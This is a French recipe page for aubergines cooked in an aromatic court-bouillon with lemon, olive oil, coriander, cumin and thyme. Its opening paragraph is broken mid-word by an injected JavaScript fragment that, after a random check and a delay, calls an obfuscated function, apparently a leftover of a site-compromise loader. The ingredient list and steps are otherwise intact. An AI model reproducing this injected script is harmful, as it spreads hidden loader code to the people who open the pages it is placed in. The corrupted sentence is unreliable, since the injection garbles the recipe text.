Aubergines avec ses aromates
2020-02-19- Thématique : Végétarien
- Niveau : Difficile
Préparez un court bouillon avec un ½ litre d’eau, avec le jus du citron, l’huile d’olive, les graines de coriandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andre, le cumin le poivre blanc, le bouquet garni, le thym, et 2 pincées de gros.
Ingrédients
- Pour 4 personnes
- 4 aubergines
- gros sel
- 1 citron
- 1 dl d’huile d’olive
- 1 cuillerée à café de graines de coriandre
- 1 cuillerée à café de graines de cumin
- 10 grains de poivre blanc
- 1 bouquet garni
- 2 brins de thym
Préparation de la recette
Etape 1
Préparez un court bouillon avec un ½ litre d’eau, avec le jus du citron, l’huile d’olive, les graines de coriandre, le cumin le poivre blanc, le bouquet garni, le thym, et 2 pincées de gros.
Etape 2
Découpez-les aubergines en petits cubes, les citronner, et les plonger dans le court bouillon pendant 10 minutes d’ébullition.
Etape 3
Les égoutter, filtrer le court bouillon, le faire réduire de moitié. Goûter l'assaisonnement. Arroser les aubergines au moment de servir.
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